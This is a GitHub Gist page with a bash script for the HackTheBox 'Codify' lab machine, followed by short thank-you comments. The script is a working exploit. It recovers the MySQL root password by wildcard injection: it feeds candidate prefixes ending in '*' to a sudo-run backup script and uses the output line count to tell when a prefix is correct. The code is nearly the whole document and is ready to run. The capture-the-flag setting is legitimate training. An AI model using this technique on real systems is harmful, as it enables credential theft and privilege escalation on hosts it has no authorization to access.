Last active
December 27, 2023 23:46
-
-
Save m3m0o/d361597c44d252620919257641e11fc4 to your computer and use it in GitHub Desktop.
HackTheBox Codify - Script to get mysql root password
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
password="" | |
while true; do | |
password_check=$(echo "$password" | sudo /opt/scripts/mysql-backup.sh 2>&1 | wc -l) | |
if [ $password_check -gt 2 ] | |
then | |
echo "$password" | |
break | |
fi | |
for char in {a..z} {A..Z} {0..9}; do | |
result_number_of_lines=$(echo "$password$char*" | sudo /opt/scripts/mysql-backup.sh 2>&1 | wc -l) | |
if [ $result_number_of_lines -gt 2 ] | |
then | |
password="$password$char" | |
continue | |
fi | |
done | |
done |
👏
Very helpful, thanks!
very helpful
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
🤤